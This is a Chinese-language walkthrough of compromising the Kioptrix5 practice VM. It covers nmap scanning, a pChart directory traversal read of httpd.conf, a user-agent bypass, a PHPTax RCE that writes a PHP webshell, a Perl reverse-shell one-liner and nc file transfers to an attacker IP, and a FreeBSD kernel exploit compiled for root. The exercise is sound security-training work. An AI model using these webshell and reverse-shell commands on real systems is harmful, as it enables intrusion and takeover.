渗透测试——Kioptrix5靶机渗透测试详细教程

今天给大家带来一篇Kioptrix5靶机的渗透测试详细讲解,本篇文章与之前一样,都会着重讲解getshell的方法以及思路,同时还会将横向渗透的过程用多种方法显示出来(如果有的话);

文章目录


信息收集

还是老样子,nmap扫描目标主机的网段,看看具体的IP地址是什么:

bash 复制代码
# 扫描网段
nmap -sP 192.168.44.0/24

# 收集详细信息
nmap -sC -sV -A -p- -T4 192.168.44.157

知道了目标主机的IP地址为:192.168.44.157,进行收集详细的信息:

根据扫描的结果,可以得到:

  • 操作系统为:FreeBSD
  • Apache服务版本:2.2.21
  • mod_ssl服务版本:2.2.21
  • 端口服务:ssh服务关闭;http服务开启,https服务开启;

渗透攻击

(1)尝试访问https服务,无法访问(端口不是开启的吗?)

具体原因后面会讲;

--

Pchart

(2)既然如此,那我们尝试访问Web页面:

查看源代码,发现了一个可疑url:URL=pChart2.1.3/index.php

输入网址后,访问页面如下图所示:

这个时候我简单了解了一下:

既然有漏洞,那就好办了,直接在漏洞库里进行寻找:pChart

发现漏洞,查看详情:

根据介绍我们可以得知,存在目录穿越XSS漏洞

  • XSS漏洞:hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>

这里我们简单尝试了一下,没有什么用;着重还是目录穿越漏洞;


  • 目录穿越漏洞 指的是:程序原本只允许用户访问特定目录(例如 /var/www/html/upload/),但由于没有对用户输入做限制,攻击者可以通过加入 ../ 这样的路径跳转符,返回到上级目录,甚至跳到系统根目录。然后再拼接任意路径,比如:

    ../../../../etc/passwd

最终导致攻击者可以利用 Web 程序的权限读取服务器上任意文件。


  • 目录穿越:hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

既然如此,那我们可以访问目标主机系统中Apache中间件的主配置文件httpd.conf,以确认我们无法访问8080端口的原因

根据我们之前收集到的主机信息,找到了对应文件的位置:/usr/local/etc/apache22/httpd.conf

可以看到,已成功读取httpd.conf文件的内容;

而在httpd.conf文件的最下方,Apache针对8080端口的访问请求限制了浏览器类型和版本:

这个时候我们就可以用插件或者bp修改UA头,再去访问8080网页:

这时我们再将UA头进行修改:Mozilla/4.0 Mozilla4_browser

这时候我们就得到了不一样的页面;


phptax

同时我们还发现了一个新的服务:phptax

PHPTax 是一个早期的开源 PHP 税务计算程序,因为长期无人维护、代码老旧且大量使用不安全的函数(如 includeeval),使其存在多种经典漏洞,包括目录穿越、文件包含(LFI/RFI)、任意文件读取与写入,以及可进一步导致远程代码执行(RCE)。因此 PHPTax 常被安全人员作为教学和靶场练习的示例目标。

正常页面如下:

我们可以发现有MSF的自动化脚本,也有手动编译的脚本;在初学者阶段,我肯定是推荐手动进行编译,加深理解的:

我们选择RCE漏洞,进入查看使用文档:

构建如下链接:

方法一:自己创建并上传shell文件

bash 复制代码
# 创建shell文件
http://192.168.44.157:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

# 执行命令
http://192.168.44.157:8080/phptax/data/rce.php?cmd=id

我们创建了一个shell文件,并将执行结果通过参数cmd进行命令执行(CTF命令执行这部分可以看我之前的文章,已完结):

举例:


首先kali输入命令:nc -lvvp 8882

然后目标机器输入:

bash 复制代码
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.44.131:8882");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

成功反弹shell:

输入命令:

这里我看网上有的师傅推荐了一个很好用的网站:https://forum.ywhack.com/reverse-shell

参考文章:https://blog.csdn.net/China_I_LOVE/article/details/145955351


方法二:使用kali的shell文件构建一句话木马

这里我们可以构造反弹shell的代码测试,可以借助"一句话Webshell "使用nc上传shell文件,本例中使用了Kali系统自带的php_reverse_shell.php ,它默认位于/usr/share/webshells/php目录:

(1)使用该文件时,首先要将其内部的反弹IP和端口更改为目前Kali系统实际使用的IP地址以及准备监听反弹shell的端口

bash 复制代码
nc -lvp 8882 < php_reverse_shell.php

(2)然后在目标机器上执行:

bash 复制代码
http://192.168.44.157:8080/phptax/data/rce.php?cmd=nc 192.168.44.131 8882 > reverse_shell.php

在当前目录进行查看,发现存在:

(3)完成上述操作后,kali使用如下nc命令重新监听8882端口。

bash 复制代码
nc -lvvp 8882

(4)最后通过浏览器访问链接http://192.168.44.157:8080/phptax/reverse_shell.php即可触发反弹shell的执行;


提权

现在我们得到了一个shell ,通过简单的人工命令枚举,会发现该目标主机本地没有Python,没有curl,甚至没有wget,但是存在GCC编译器:

FreeBSD 9内核提权实战

由于上述目标主机本地存在的可用程序寥寥,因此这里尝试使用系统内核提权方法来进行渗透测试;通过漏洞库,我们可以得到几个payload:

由于目标主机没有wget和curl,所以还是需要使用nc来进行文件传输:

(1)我们将payload文件进行下载,通过nc传输方法将源码上传到目标主机的Web目录上:

我们在kali上开启一个监听:

(2)然后再目标主机上执行代码:

bash 复制代码
http://192.168.44.157:8080/phptax/data/rce.php?cmd=nc 192.168.44.131 1234 > 26368.c

(3)这个时候我们就可以看到kali返回了结果:

同时目标机器也已经得到payload文件:

(4)使用gcc编译:gcc 26368.c

得到可执行文件:

(5)通过./a.out命令执行编译产生的可执行文件,将直接获得root权限

成功得到root权限;

总结

期待下次再见,多看多练多总结;

相关推荐
勇气要爆发1 小时前
问:HTTP和HTTPS的区别及安全性
网络
z***94841 小时前
Java进阶07 嵌套类
java·开发语言·python
橘子编程1 小时前
仓颉语言:华为新一代编程利器
java·c语言·开发语言·数据库·python·青少年编程
Darenm1111 小时前
Vue Router 路由管理
python·vue
YJlio1 小时前
SDelete 学习笔记(9.9):安全擦除原理、SSD 场景与企业合规实战
笔记·学习·安全
___波子 Pro Max.1 小时前
Python argparse 参数解析用法详解
python
lingggggaaaa1 小时前
免杀对抗——C2远控篇&PowerShell&C#&对抗AV-EDR&停用AMSI接口&阻断ETW跟踪&调用
c语言·开发语言·c++·学习·安全·c#·免杀对抗
AhaPuPu1 小时前
LLM Agent Attack- Indirect Prompt Injection
网络·人工智能·prompt
wadesir1 小时前
提升系统效率的关键(Linux文件系统性能优化入门教程)
linux·网络·性能优化